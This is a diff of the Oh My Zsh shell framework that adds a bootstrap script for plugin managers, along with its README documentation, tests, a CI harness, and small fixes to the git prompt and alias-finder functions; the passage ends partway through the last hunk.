| LCARS | 🛸 |
|
||||||
| Linux | ✅ |
|
| Linux | ✅ |
|
||||||
| macOS | ✅ |
|
| macOS | ✅ |
|
||||||
@@ -349,7 +350,121 @@ If you have many functions that go well together, you can put them as a `XYZ.plu
|
|||||||
If you would like to override the functionality of a plugin distributed with Oh My Zsh, create a plugin of the
|
If you would like to override the functionality of a plugin distributed with Oh My Zsh, create a plugin of the
|
||||||
same name in the `custom/plugins/` directory and it will be loaded instead of the one in `plugins/`.
|
same name in the `custom/plugins/` directory and it will be loaded instead of the one in `plugins/`.
|
||||||
|
|
||||||
### Enable GNU ls In macOS And freeBSD Systems
|
### Using Plugin Managers Without `oh-my-zsh.sh`
|
||||||
|
|
||||||
|
Some plugin managers load individual OMZ plugins/themes directly and do not source `oh-my-zsh.sh`.
|
||||||
|
For those setups, source this bootstrap entrypoint before loading any OMZ plugin or theme:
|
||||||
|
|
||||||
|
```zsh
|
||||||
|
source "$ZSH/lib/bootstrap.zsh"
|
||||||
|
```
|
||||||
|
|
||||||
|
#### Bootstrap compatibility contract
|
||||||
|
|
||||||
|
`lib/bootstrap.zsh` is idempotent and is the only required pre-load step for plugin-manager setups.
|
||||||
|
It guarantees:
|
||||||
|
|
||||||
|
- `ZSH`, `ZSH_CUSTOM`, and `ZSH_CACHE_DIR` defaults
|
||||||
|
- writable cache fallback to `${XDG_CACHE_HOME:-$HOME/.cache}/oh-my-zsh`
|
||||||
|
- `$ZSH_CACHE_DIR/completions` directory creation
|
||||||
|
- required OMZ `fpath` entries for plugins/themes:
|
||||||
|
- `$ZSH/functions`
|
||||||
|
- `$ZSH/completions`
|
||||||
|
- `$ZSH_CUSTOM/functions`
|
||||||
|
- `$ZSH_CUSTOM/completions`
|
||||||
|
- `$ZSH_CACHE_DIR/completions`
|
||||||
|
- public signal: `OMZ_IS_BOOTSTRAPPED=true` (for one-time hook guards)
|
||||||
|
|
||||||
|
What still requires `oh-my-zsh.sh`:
|
||||||
|
|
||||||
|
- update checks
|
||||||
|
- plugin auto-discovery from the `plugins=(...)` list
|
||||||
|
- `compinit`/`compfix` orchestration and zcompdump metadata refresh
|
||||||
|
- alias filtering via `:omz:*` zstyles during file sourcing
|
||||||
|
- final full-init signal: `OMZ_IS_LOADED=true`
|
||||||
|
|
||||||
|
#### Plugin manager hook guidance
|
||||||
|
|
||||||
|
Run bootstrap once, before any OMZ plugin/theme load:
|
||||||
|
|
||||||
|
```zsh
|
||||||
|
[[ -n "${OMZ_IS_BOOTSTRAPPED:-}" ]] || source "$ZSH/lib/bootstrap.zsh"
|
||||||
|
```
|
||||||
|
|
||||||
|
- **Antigen** (pre-bundle hook pattern):
|
||||||
|
|
||||||
|
```zsh
|
||||||
|
omz_preload() { [[ -n "${OMZ_IS_BOOTSTRAPPED:-}" ]] || source "$ZSH/lib/bootstrap.zsh"; }
|
||||||
|
omz_preload
|
||||||
|
antigen bundle OMZ::plugins/git
|
||||||
|
antigen apply
|
||||||
|
```
|
||||||
|
|
||||||
|
- **Zinit** (`atinit` pre-load hook):
|
||||||
|
|
||||||
|
```zsh
|
||||||
|
zinit ice atinit'[[ -n "${OMZ_IS_BOOTSTRAPPED:-}" ]] || source "$ZSH/lib/bootstrap.zsh"'
|
||||||
|
zinit snippet OMZ::plugins/git/git.plugin.zsh
|
||||||
|
```
|
||||||
|
|
||||||
|
- **zgen** (pre-load hook function called before OMZ loads):
|
||||||
|
|
||||||
|
```zsh
|
||||||
|
omz_preload() { [[ -n "${OMZ_IS_BOOTSTRAPPED:-}" ]] || source "$ZSH/lib/bootstrap.zsh"; }
|
||||||
|
omz_preload
|
||||||
|
zgen load ohmyzsh/ohmyzsh plugins/git
|
||||||
|
```
|
||||||
|
|
||||||
|
- **zplug** (run pre-load hook immediately before OMZ entries):
|
||||||
|
|
||||||
|
```zsh
|
||||||
|
omz_preload() { [[ -n "${OMZ_IS_BOOTSTRAPPED:-}" ]] || source "$ZSH/lib/bootstrap.zsh"; }
|
||||||
|
omz_preload
|
||||||
|
zplug "plugins/git", from:oh-my-zsh
|
||||||
|
zplug load
|
||||||
|
```
|
||||||
|
|
||||||
|
- **antibody** (run pre-load hook before `antibody bundle`/`source` output):
|
||||||
|
|
||||||
|
```zsh
|
||||||
|
omz_preload() { [[ -n "${OMZ_IS_BOOTSTRAPPED:-}" ]] || source "$ZSH/lib/bootstrap.zsh"; }
|
||||||
|
omz_preload
|
||||||
|
source <(antibody bundle <<'EOF'
|
||||||
|
ohmyzsh/ohmyzsh path:plugins/git
|
||||||
|
EOF
|
||||||
|
)
|
||||||
|
```
|
||||||
|
|
||||||
|
- **zulu** (run pre-load hook before OMZ module loads):
|
||||||
|
|
||||||
|
```zsh
|
||||||
|
omz_preload() { [[ -n "${OMZ_IS_BOOTSTRAPPED:-}" ]] || source "$ZSH/lib/bootstrap.zsh"; }
|
||||||
|
omz_preload
|
||||||
|
zulu install oh-my-zsh
|
||||||
|
```
|
||||||
|
|
||||||
|
Compatibility matrix:
|
||||||
|
|
||||||
|
| Load mode | `OMZ_IS_BOOTSTRAPPED` | `OMZ_IS_LOADED` | Suitable for |
|
||||||
|
| :-- | :--: | :--: | :-- |
|
||||||
|
| `source $ZSH/oh-my-zsh.sh` | ✅ | ✅ | Full OMZ framework features |
|
||||||
|
| `source $ZSH/lib/bootstrap.zsh` + manager-loaded OMZ plugins/themes | ✅ | ❌ | Plugin/theme prerequisites only |
|
||||||
|
|
||||||
|
#### Manager entrypoints and OMZ-side auto-injection limits
|
||||||
|
|
||||||
|
Most plugin managers load OMZ by directly sourcing selected plugin/theme/lib entrypoints, not by sourcing
|
||||||
|
`oh-my-zsh.sh`, so OMZ cannot universally inject bootstrap on its own.
|
||||||
|
|
||||||
|
| Manager | Typical OMZ entrypoint(s) it loads | Can OMZ auto-inject bootstrap without user hook? |
|
||||||
|
| :-- | :-- | :--: |
|
||||||
|
| Antigen | `antigen bundle ...` targets after `antigen use oh-my-zsh` | ❌ |
|
||||||
|
| Zinit | `OMZ::`, `OMZL::`, `OMZP::`, `OMZT::` snippets | ❌ |
|
||||||
|
| zgen | `zgen oh-my-zsh ...` selected OMZ paths | ❌ |
|
||||||
|
| zplug | `from:oh-my-zsh` selected OMZ entries | ❌ |
|
||||||
|
| antibody | `ohmyzsh/ohmyzsh path:...` selected OMZ paths | ❌ |
|
||||||
|
| zulu | OMZ package/module entries selected by zulu | ❌ |
|
||||||
|
|
||||||
|
### Enable GNU ls In macOS And FreeBSD Systems
|
||||||
|
|
||||||
<a name="enable-gnu-ls"></a>
|
<a name="enable-gnu-ls"></a>
|
||||||
|
|
||||||
|
|||||||
@@ -0,0 +1,44 @@
|
|||||||
|
#
|
||||||
|
# Shared Oh My Zsh bootstrap entrypoint.
|
||||||
|
#
|
||||||
|
# This file can be sourced by plugin managers that don't source `oh-my-zsh.sh`.
|
||||||
|
# It is safe to source multiple times.
|
||||||
|
#
|
||||||
|
|
||||||
|
# Keep source path for callers that invoke omz_bootstrap again later.
|
||||||
|
typeset -g _OMZ_BOOTSTRAP_SOURCE="${${(%):-%x}:a}"
|
||||||
|
|
||||||
|
omz_bootstrap() {
|
||||||
|
# If ZSH is not defined, infer from this file location.
|
||||||
|
[[ -n "${ZSH:-}" ]] || export ZSH="${_OMZ_BOOTSTRAP_SOURCE:h:h}"
|
||||||
|
|
||||||
|
# Set ZSH_CUSTOM to the path where custom config files and plugins exist.
|
||||||
|
[[ -n "${ZSH_CUSTOM:-}" ]] || ZSH_CUSTOM="$ZSH/custom"
|
||||||
|
|
||||||
|
# Set cache directory.
|
||||||
|
[[ -n "${ZSH_CACHE_DIR:-}" ]] || ZSH_CACHE_DIR="$ZSH/cache"
|
||||||
|
|
||||||
|
# Ensure cache dir is writable, otherwise fallback to a HOME-based cache.
|
||||||
|
if [[ ! -w "$ZSH_CACHE_DIR" ]]; then
|
||||||
|
ZSH_CACHE_DIR="${XDG_CACHE_HOME:-$HOME/.cache}/oh-my-zsh"
|
||||||
|
fi
|
||||||
|
|
||||||
|
# Create cache and completions dir.
|
||||||
|
command mkdir -p "$ZSH_CACHE_DIR/completions"
|
||||||
|
|
||||||
|
# Add required OMZ search paths.
|
||||||
|
local dir
|
||||||
|
for dir in \
|
||||||
|
"$ZSH/functions" \
|
||||||
|
"$ZSH/completions" \
|
||||||
|
"$ZSH_CUSTOM/functions" \
|
||||||
|
"$ZSH_CUSTOM/completions" \
|
||||||
|
"$ZSH_CACHE_DIR/completions"; do
|
||||||
|
(( ${fpath[(Ie)$dir]} )) || fpath=("$dir" $fpath)
|
||||||
|
done
|
||||||
|
|
||||||
|
# Public signal: OMZ bootstrap has completed.
|
||||||
|
typeset -g OMZ_IS_BOOTSTRAPPED=true
|
||||||
|
}
|
||||||
|
|
||||||
|
omz_bootstrap "$@"
|
||||||
+1
-1
@@ -371,7 +371,7 @@ multi == 1 && /^[^#]*\)/ {
|
|||||||
next
|
next
|
||||||
}
|
}
|
||||||
|
|
||||||
# if multi flag is enabled and we didnt find a closing parenthesis,
|
# if multi flag is enabled and we didn't find a closing parenthesis,
|
||||||
# get the indentation level to match when adding plugins
|
# get the indentation level to match when adding plugins
|
||||||
multi == 1 && /^[^#]*/ {
|
multi == 1 && /^[^#]*/ {
|
||||||
indent=\"\"
|
indent=\"\"
|
||||||
|
|||||||
+13
-4
@@ -36,10 +36,19 @@ function _omz_git_prompt_info() {
|
|||||||
&& upstream=" -> ${upstream}"
|
&& upstream=" -> ${upstream}"
|
||||||
fi
|
fi
|
||||||
|
|
||||||
echo "${ZSH_THEME_GIT_PROMPT_PREFIX}${ref:gs/%/%%}${upstream:gs/%/%%}$(parse_git_dirty)${ZSH_THEME_GIT_PROMPT_SUFFIX}"
|
echo "${ZSH_THEME_GIT_PROMPT_PREFIX}${ref//\%/%%}${upstream//\%/%%}$(parse_git_dirty)${ZSH_THEME_GIT_PROMPT_SUFFIX}"
|
||||||
}
|
}
|
||||||
|
|
||||||
function _omz_git_prompt_status() {
|
function _omz_git_prompt_status() {
|
||||||
|
# OHMYZSH-13330: avoid "regex matching error: illegal byte sequence".
|
||||||
|
# zsh's "=~" operator delegates to the C library regex, which aborts with
|
||||||
|
# REG_ILLSEQ when the subject contains an invalid byte sequence under a
|
||||||
|
# multibyte locale (e.g. a filename with non-UTF-8 bytes in `git status`
|
||||||
|
# output). Forcing the C locale makes every byte a valid character, so the
|
||||||
|
# regex matching below never fails that way. `git status --porcelain` is
|
||||||
|
# locale-independent, so this does not change the parsed output.
|
||||||
|
local -x LC_ALL=C
|
||||||
|
|
||||||
[[ "$(__git_prompt_git config --get oh-my-zsh.hide-status 2>/dev/null)" = 1 ]] && return
|
[[ "$(__git_prompt_git config --get oh-my-zsh.hide-status 2>/dev/null)" = 1 ]] && return
|
||||||
|
|
||||||
# Maps a git status prefix to an internal constant
|
# Maps a git status prefix to an internal constant
|
||||||
@@ -162,13 +171,13 @@ if zstyle -t ':omz:alpha:lib:git' async-prompt \
|
|||||||
# or any of the other prompt variables
|
# or any of the other prompt variables
|
||||||
function _defer_async_git_register() {
|
function _defer_async_git_register() {
|
||||||
# Check if git_prompt_info is used in a prompt variable
|
# Check if git_prompt_info is used in a prompt variable
|
||||||
case "${PS1}:${PS2}:${PS3}:${PS4}:${RPROMPT}:${RPS1}:${RPS2}:${RPS3}:${RPS4}" in
|
case "${PS1}:${PS2}:${PS3}:${PS4}:${RPROMPT-}:${RPS1-}:${RPS2-}:${RPS3-}:${RPS4-}" in
|
||||||
*(\$\(git_prompt_info\)|\`git_prompt_info\`)*)
|
*(\$\(git_prompt_info\)|\`git_prompt_info\`)*)
|
||||||
_omz_register_handler _omz_git_prompt_info
|
_omz_register_handler _omz_git_prompt_info
|
||||||
;;
|
;;
|
||||||
esac
|
esac
|
||||||
|
|
||||||
case "${PS1}:${PS2}:${PS3}:${PS4}:${RPROMPT}:${RPS1}:${RPS2}:${RPS3}:${RPS4}" in
|
case "${PS1}:${PS2}:${PS3}:${PS4}:${RPROMPT-}:${RPS1-}:${RPS2-}:${RPS3-}:${RPS4-}" in
|
||||||
*(\$\(git_prompt_status\)|\`git_prompt_status\`)*)
|
*(\$\(git_prompt_status\)|\`git_prompt_status\`)*)
|
||||||
_omz_register_handler _omz_git_prompt_status
|
_omz_register_handler _omz_git_prompt_status
|
||||||
;;
|
;;
|
||||||
@@ -255,7 +264,7 @@ function git_remote_status() {
|
|||||||
fi
|
fi
|
||||||
|
|
||||||
if [[ -n $ZSH_THEME_GIT_PROMPT_REMOTE_STATUS_DETAILED ]]; then
|
if [[ -n $ZSH_THEME_GIT_PROMPT_REMOTE_STATUS_DETAILED ]]; then
|
||||||
git_remote_status="$ZSH_THEME_GIT_PROMPT_REMOTE_STATUS_PREFIX${remote:gs/%/%%}$git_remote_status_detailed$ZSH_THEME_GIT_PROMPT_REMOTE_STATUS_SUFFIX"
|
git_remote_status="$ZSH_THEME_GIT_PROMPT_REMOTE_STATUS_PREFIX${remote//\%/%%}$git_remote_status_detailed$ZSH_THEME_GIT_PROMPT_REMOTE_STATUS_SUFFIX"
|
||||||
fi
|
fi
|
||||||
|
|
||||||
echo $git_remote_status
|
echo $git_remote_status
|
||||||
|
|||||||
Executable
+35
@@ -0,0 +1,35 @@
|
|||||||
|
#!/usr/bin/zsh -df
|
||||||
|
|
||||||
|
set -eu
|
||||||
|
|
||||||
|
bootstrap_file="${0:A:h:h}/bootstrap.zsh"
|
||||||
|
|
||||||
|
assert() {
|
||||||
|
local condition="$1" message="$2"
|
||||||
|
if ! eval "$condition"; then
|
||||||
|
print -u2 "\e[31mError\e[0m: $message"
|
||||||
|
exit 1
|
||||||
|
fi
|
||||||
|
}
|
||||||
|
|
||||||
|
tmp==(:)
|
||||||
|
mkdir -p "$tmp/ohmyzsh"/{functions,completions,cache} "$tmp/ohmyzsh/custom"/{functions,completions}
|
||||||
|
|
||||||
|
export ZSH="$tmp/ohmyzsh"
|
||||||
|
unset ZSH_CUSTOM ZSH_CACHE_DIR OMZ_IS_BOOTSTRAPPED
|
||||||
|
fpath=()
|
||||||
|
|
||||||
|
source "$bootstrap_file"
|
||||||
|
|
||||||
|
assert '[[ "$OMZ_IS_BOOTSTRAPPED" == true ]]' "OMZ bootstrap signal should be true"
|
||||||
|
assert '[[ -d "$ZSH_CACHE_DIR/completions" ]]' "cache completions directory should exist"
|
||||||
|
assert '[[ "${fpath[(Ie)$ZSH/functions]}" -gt 0 ]]' "fpath should include OMZ functions"
|
||||||
|
assert '[[ "${fpath[(Ie)$ZSH/completions]}" -gt 0 ]]' "fpath should include OMZ completions"
|
||||||
|
assert '[[ "${fpath[(Ie)$ZSH_CUSTOM/functions]}" -gt 0 ]]' "fpath should include custom functions"
|
||||||
|
assert '[[ "${fpath[(Ie)$ZSH_CUSTOM/completions]}" -gt 0 ]]' "fpath should include custom completions"
|
||||||
|
assert '[[ "${fpath[(Ie)$ZSH_CACHE_DIR/completions]}" -gt 0 ]]' "fpath should include cache completions"
|
||||||
|
|
||||||
|
touch "$ZSH_CACHE_DIR/completions/_bootstrap_ci_smoke"
|
||||||
|
assert '[[ -f "$ZSH_CACHE_DIR/completions/_bootstrap_ci_smoke" ]]' "completion cache write should succeed"
|
||||||
|
|
||||||
|
print -u2 "\e[32mSuccess\e[0m bootstrap inline invariants"
|
||||||
@@ -0,0 +1,88 @@
|
|||||||
|
#!/usr/bin/zsh -df
|
||||||
|
|
||||||
|
set -u
|
||||||
|
|
||||||
|
bootstrap_file="${0:A:h:h}/bootstrap.zsh"
|
||||||
|
|
||||||
|
_assert() {
|
||||||
|
local condition="$1" message="$2"
|
||||||
|
if ! eval "$condition"; then
|
||||||
|
print -u2 "\e[31mError\e[0m: $message"
|
||||||
|
return 1
|
||||||
|
fi
|
||||||
|
}
|
||||||
|
|
||||||
|
test_bootstrap_sets_defaults_and_paths() {
|
||||||
|
local tmp==(:)
|
||||||
|
mkdir -p "$tmp/ohmyzsh"/{functions,completions,cache} "$tmp/ohmyzsh/custom"/{functions,completions}
|
||||||
|
|
||||||
|
(
|
||||||
|
set -e
|
||||||
|
export ZSH="$tmp/ohmyzsh"
|
||||||
|
unset ZSH_CUSTOM ZSH_CACHE_DIR OMZ_IS_BOOTSTRAPPED
|
||||||
|
fpath=()
|
||||||
|
source "$bootstrap_file"
|
||||||
|
|
||||||
|
_assert '[[ "$ZSH_CUSTOM" == "'"$tmp/ohmyzsh/custom"'" ]]' "ZSH_CUSTOM default should be set"
|
||||||
|
_assert '[[ "$ZSH_CACHE_DIR" == "'"$tmp/ohmyzsh/cache"'" ]]' "ZSH_CACHE_DIR default should be set"
|
||||||
|
_assert '[[ -d "'"$tmp/ohmyzsh/cache/completions"'" ]]' "completions dir should be created"
|
||||||
|
_assert '[[ "${fpath[(Ie)'"$tmp/ohmyzsh/functions"']}" -gt 0 ]]' "fpath should include OMZ functions dir"
|
||||||
|
_assert '[[ "${fpath[(Ie)'"$tmp/ohmyzsh/completions"']}" -gt 0 ]]' "fpath should include OMZ completions dir"
|
||||||
|
_assert '[[ "${fpath[(Ie)'"$tmp/ohmyzsh/custom/functions"']}" -gt 0 ]]' "fpath should include custom functions dir"
|
||||||
|
_assert '[[ "${fpath[(Ie)'"$tmp/ohmyzsh/custom/completions"']}" -gt 0 ]]' "fpath should include custom completions dir"
|
||||||
|
_assert '[[ "${fpath[(Ie)'"$tmp/ohmyzsh/cache/completions"']}" -gt 0 ]]' "fpath should include cache completions dir"
|
||||||
|
_assert '[[ "$OMZ_IS_BOOTSTRAPPED" == true ]]' "bootstrap signal should be set"
|
||||||
|
)
|
||||||
|
}
|
||||||
|
|
||||||
|
test_bootstrap_is_idempotent() {
|
||||||
|
local tmp==(:)
|
||||||
|
mkdir -p "$tmp/ohmyzsh"/{functions,completions,cache} "$tmp/ohmyzsh/custom"/{functions,completions}
|
||||||
|
|
||||||
|
(
|
||||||
|
set -e
|
||||||
|
export ZSH="$tmp/ohmyzsh"
|
||||||
|
unset ZSH_CUSTOM ZSH_CACHE_DIR OMZ_IS_BOOTSTRAPPED
|
||||||
|
fpath=()
|
||||||
|
source "$bootstrap_file"
|
||||||
|
source "$bootstrap_file"
|
||||||
|
omz_bootstrap
|
||||||
|
|
||||||
|
_assert '[[ ${#fpath} -eq ${#${(u)fpath}} ]]' "fpath entries should not duplicate after repeated bootstrap"
|
||||||
|
_assert '[[ "$OMZ_IS_BOOTSTRAPPED" == true ]]' "bootstrap signal should remain true"
|
||||||
|
)
|
||||||
|
}
|
||||||
|
|
||||||
|
test_bootstrap_uses_writable_cache_fallback() {
|
||||||
|
local tmp==(:)
|
||||||
|
mkdir -p "$tmp/ohmyzsh"/{functions,completions} "$tmp/ohmyzsh/custom"/{functions,completions}
|
||||||
|
mkdir -p "$tmp/no-write" "$tmp/xdg-cache"
|
||||||
|
chmod 0555 "$tmp/no-write"
|
||||||
|
|
||||||
|
(
|
||||||
|
set -e
|
||||||
|
export ZSH="$tmp/ohmyzsh"
|
||||||
|
export XDG_CACHE_HOME="$tmp/xdg-cache"
|
||||||
|
export ZSH_CACHE_DIR="$tmp/no-write"
|
||||||
|
unset ZSH_CUSTOM OMZ_IS_BOOTSTRAPPED
|
||||||
|
fpath=()
|
||||||
|
source "$bootstrap_file"
|
||||||
|
|
||||||
|
_assert '[[ "$ZSH_CACHE_DIR" == "'"$tmp/xdg-cache/oh-my-zsh"'" ]]' "cache dir should fallback when not writable"
|
||||||
|
_assert '[[ -d "'"$tmp/xdg-cache/oh-my-zsh/completions"'" ]]' "fallback completions dir should be created"
|
||||||
|
_assert '[[ "${fpath[(Ie)'"$tmp/xdg-cache/oh-my-zsh/completions"']}" -gt 0 ]]' "fpath should include fallback completions dir"
|
||||||
|
)
|
||||||
|
}
|
||||||
|
|
||||||
|
tests=(
|
||||||
|
test_bootstrap_sets_defaults_and_paths
|
||||||
|
test_bootstrap_is_idempotent
|
||||||
|
test_bootstrap_uses_writable_cache_fallback
|
||||||
|
)
|
||||||
|
|
||||||
|
for test_name in $tests; do
|
||||||
|
print -u2 "Test: $test_name"
|
||||||
|
"$test_name" || exit 1
|
||||||
|
print -u2 "\e[32mSuccess\e[0m"
|
||||||
|
print -u2 ""
|
||||||
|
done
|
||||||
+104
@@ -0,0 +1,104 @@
|
|||||||
|
#!/usr/bin/zsh -df
|
||||||
|
|
||||||
|
set -euo pipefail
|
||||||
|
|
||||||
|
if (( $# != 2 )); then
|
||||||
|
print -u2 "Usage: $0 <manager> <positive|negative>"
|
||||||
|
exit 1
|
||||||
|
fi
|
||||||
|
|
||||||
|
manager="$1"
|
||||||
|
scenario="$2"
|
||||||
|
|
||||||
|
if [[ "$scenario" != "positive" && "$scenario" != "negative" ]]; then
|
||||||
|
print -u2 "scenario must be 'positive' or 'negative'"
|
||||||
|
exit 1
|
||||||
|
fi
|
||||||
|
|
||||||
|
repo_root="${0:A:h:h:h}"
|
||||||
|
tmp==(:)
|
||||||
|
workspace="$tmp/workspace"
|
||||||
|
home_dir="$tmp/home"
|
||||||
|
cache_dir="$tmp/cache"
|
||||||
|
zshrc="$tmp/.zshrc"
|
||||||
|
|
||||||
|
mkdir -p "$workspace" "$home_dir" "$cache_dir"
|
||||||
|
|
||||||
|
manager_install=''
|
||||||
|
manager_source=''
|
||||||
|
|
||||||
|
case "$manager" in
|
||||||
|
antigen)
|
||||||
|
manager_install='git clone https://github.com/zsh-users/antigen.git "$MANAGER_HOME/antigen" >/dev/null 2>&1'
|
||||||
|
manager_source='source "$MANAGER_HOME/antigen/antigen.zsh"'
|
||||||
|
;;
|
||||||
|
zinit)
|
||||||
|
manager_install='git clone https://github.com/zdharma-continuum/zinit.git "$MANAGER_HOME/zinit" >/dev/null 2>&1'
|
||||||
|
manager_source='source "$MANAGER_HOME/zinit/zinit.zsh"'
|
||||||
|
;;
|
||||||
|
zgen)
|
||||||
|
manager_install='git clone https://github.com/tarjoilija/zgen.git "$MANAGER_HOME/zgen" >/dev/null 2>&1'
|
||||||
|
manager_source='source "$MANAGER_HOME/zgen/zgen.zsh"'
|
||||||
|
;;
|
||||||
|
zplug)
|
||||||
|
manager_install='git clone https://github.com/zplug/zplug "$MANAGER_HOME/zplug" >/dev/null 2>&1'
|
||||||
|
manager_source='export ZPLUG_HOME="$MANAGER_HOME/zplug"; source "$ZPLUG_HOME/init.zsh"'
|
||||||
|
;;
|
||||||
|
antibody)
|
||||||
|
manager_install='command -v go >/dev/null 2>&1; export GOBIN="$MANAGER_HOME/bin"; mkdir -p "$GOBIN"; go install github.com/getantibody/antibody@latest >/dev/null 2>&1'
|
||||||
|
manager_source='"$MANAGER_HOME/bin/antibody" --version >/dev/null 2>&1'
|
||||||
|
;;
|
||||||
|
zulu)
|
||||||
|
manager_install='git clone https://github.com/zulu-zsh/zulu.git "$MANAGER_HOME/zulu" >/dev/null 2>&1'
|
||||||
|
manager_source='source "$MANAGER_HOME/zulu/zulu.zsh"'
|
||||||
|
;;
|
||||||
|
*)
|
||||||
|
print -u2 "Unsupported manager: $manager"
|
||||||
|
exit 1
|
||||||
|
;;
|
||||||
|
esac
|
||||||
|
|
||||||
|
cat > "$zshrc" <<RC
|
||||||
|
set -eo pipefail
|
||||||
|
|
||||||
|
export HOME="$home_dir"
|
||||||
|
export XDG_CACHE_HOME="$cache_dir"
|
||||||
|
export OMZ_ROOT="$repo_root"
|
||||||
|
export ZSH="\$OMZ_ROOT"
|
||||||
|
export MANAGER_HOME="$workspace/$manager"
|
||||||
|
mkdir -p "\$MANAGER_HOME"
|
||||||
|
|
||||||
|
$manager_install
|
||||||
|
$manager_source
|
||||||
|
RC
|
||||||
|
|
||||||
|
if [[ "$scenario" == "positive" ]]; then
|
||||||
|
cat >> "$zshrc" <<'RC'
|
||||||
|
source "$OMZ_ROOT/lib/bootstrap.zsh"
|
||||||
|
[[ "${OMZ_IS_BOOTSTRAPPED:-}" == true ]] || { print -u2 "bootstrap signal missing before OMZ load"; return 1; }
|
||||||
|
RC
|
||||||
|
else
|
||||||
|
cat >> "$zshrc" <<'RC'
|
||||||
|
[[ -z "${OMZ_IS_BOOTSTRAPPED:-}" ]] || { print -u2 "bootstrap signal unexpectedly set without hook"; return 1; }
|
||||||
|
source "$OMZ_ROOT/lib/bootstrap.zsh"
|
||||||
|
RC
|
||||||
|
fi
|
||||||
|
|
||||||
|
cat >> "$zshrc" <<RC
|
||||||
|
[[ "\${OMZ_IS_BOOTSTRAPPED:-}" == true ]] || { print -u2 "bootstrap signal not set before OMZ entrypoint sourcing"; return 1; }
|
||||||
|
|
||||||
|
source "\$OMZ_ROOT/lib/functions.zsh"
|
||||||
|
source "\$OMZ_ROOT/plugins/git/git.plugin.zsh"
|
||||||
|
autoload -Uz compinit
|
||||||
|
compinit -i -d "\$ZSH_CACHE_DIR/.zcompdump"
|
||||||
|
|
||||||
|
source "\$OMZ_ROOT/themes/robbyrussell.zsh-theme"
|
||||||
|
|
||||||
|
[[ -d "\$ZSH_CACHE_DIR/completions" ]] || { print -u2 "completions cache directory missing"; return 1; }
|
||||||
|
|
||||||
|
touch "\$ZSH_CACHE_DIR/completions/_ci_${manager}_${scenario}" || { print -u2 "completion cache write failed"; return 1; }
|
||||||
|
[[ -f "\$ZSH_CACHE_DIR/completions/_ci_${manager}_${scenario}" ]] || { print -u2 "completion cache file missing"; return 1; }
|
||||||
|
RC
|
||||||
|
|
||||||
|
zsh -df "$zshrc"
|
||||||
|
print -u2 "\e[32mSuccess\e[0m $manager $scenario"
|
||||||
+8
-20
@@ -50,31 +50,14 @@ unset -f omz_f
|
|||||||
# If ZSH is not defined, use the current script's directory.
|
# If ZSH is not defined, use the current script's directory.
|
||||||
[[ -n "$ZSH" ]] || export ZSH="${${(%):-%x}:a:h}"
|
[[ -n "$ZSH" ]] || export ZSH="${${(%):-%x}:a:h}"
|
||||||
|
|
||||||
# Set ZSH_CUSTOM to the path where your custom config files
|
# Shared, manager-agnostic bootstrap.
|
||||||
# and plugins exists, or else we will use the default custom/
|
source "$ZSH/lib/bootstrap.zsh"
|
||||||
[[ -n "$ZSH_CUSTOM" ]] || ZSH_CUSTOM="$ZSH/custom"
|
|
||||||
|
|
||||||
# Set ZSH_CACHE_DIR to the path where cache files should be created
|
|
||||||
# or else we will use the default cache/
|
|
||||||
[[ -n "$ZSH_CACHE_DIR" ]] || ZSH_CACHE_DIR="$ZSH/cache"
|
|
||||||
|
|
||||||
# Make sure $ZSH_CACHE_DIR is writable, otherwise use a directory in $HOME
|
|
||||||
if [[ ! -w "$ZSH_CACHE_DIR" ]]; then
|
|
||||||
ZSH_CACHE_DIR="${XDG_CACHE_HOME:-$HOME/.cache}/oh-my-zsh"
|
|
||||||
fi
|
|
||||||
|
|
||||||
# Create cache and completions dir and add to $fpath
|
|
||||||
mkdir -p "$ZSH_CACHE_DIR/completions"
|
|
||||||
(( ${fpath[(Ie)$ZSH_CACHE_DIR/completions]} )) || fpath=("$ZSH_CACHE_DIR/completions" $fpath)
|
|
||||||
|
|
||||||
# Check for updates on initial load...
|
# Check for updates on initial load...
|
||||||
source "$ZSH/tools/check_for_upgrade.sh"
|
source "$ZSH/tools/check_for_upgrade.sh"
|
||||||
|
|
||||||
# Initializes Oh My Zsh
|
# Initializes Oh My Zsh
|
||||||
|
|
||||||
# add a function path
|
|
||||||
fpath=($ZSH/{functions,completions} $ZSH_CUSTOM/{functions,completions} $fpath)
|
|
||||||
|
|
||||||
# Load all stock functions (from $fpath files) called below.
|
# Load all stock functions (from $fpath files) called below.
|
||||||
autoload -U compaudit compinit zrecompile
|
autoload -U compaudit compinit zrecompile
|
||||||
|
|
||||||
@@ -124,9 +107,11 @@ fi
|
|||||||
if [[ "$ZSH_DISABLE_COMPFIX" != true ]]; then
|
if [[ "$ZSH_DISABLE_COMPFIX" != true ]]; then
|
||||||
source "$ZSH/lib/compfix.zsh"
|
source "$ZSH/lib/compfix.zsh"
|
||||||
# Load only from secure directories
|
# Load only from secure directories
|
||||||
|
# Reset the flag compinit sets when -i excludes insecure entries
|
||||||
|
unset _comp_secure
|
||||||
compinit -i -d "$ZSH_COMPDUMP"
|
compinit -i -d "$ZSH_COMPDUMP"
|
||||||
# If completion insecurities exist, warn the user
|
# If completion insecurities exist, warn the user
|
||||||
handle_completion_insecurities &|
|
[[ "$_comp_secure" == yes ]] && handle_completion_insecurities &|
|
||||||
else
|
else
|
||||||
# If the user wants it, load from all found directories
|
# If the user wants it, load from all found directories
|
||||||
compinit -u -d "$ZSH_COMPDUMP"
|
compinit -u -d "$ZSH_COMPDUMP"
|
||||||
@@ -232,3 +217,6 @@ fi
|
|||||||
|
|
||||||
# set completion colors to be the same as `ls`, after theme has been loaded
|
# set completion colors to be the same as `ls`, after theme has been loaded
|
||||||
[[ -z "$LS_COLORS" ]] || zstyle ':completion:*' list-colors "${(s.:.)LS_COLORS}"
|
[[ -z "$LS_COLORS" ]] || zstyle ':completion:*' list-colors "${(s.:.)LS_COLORS}"
|
||||||
|
|
||||||
|
# Public signal: full Oh My Zsh init script has completed.
|
||||||
|
typeset -g OMZ_IS_LOADED=true
|
||||||
|
|||||||
@@ -1,5 +1,5 @@
|
|||||||
alias-finder() {
|
alias-finder() {
|
||||||
local cmd=" " exact="" longer="" cheaper="" wordEnd="'{0,1}$" finder="" filter=""
|
local cmd=" " exact="" longer="" cheaper="" wordEnd="'?$" finder="" filter=""
|
||||||
|
|
||||||
# build command and options
|
# build command and options
|
||||||
for c in "$@"; do
|
for c in "$@"; do
|
||||||
@@ -31,7 +31,7 @@ alias-finder() {
|
|||||||
|
|
||||||
# find with alias and grep, removing last word each time until no more words
|
# find with alias and grep, removing last word each time until no more words
|
||||||
while [[ $cmd != "" ]]; do
|
while [[ $cmd != "" ]]; do
|
||||||
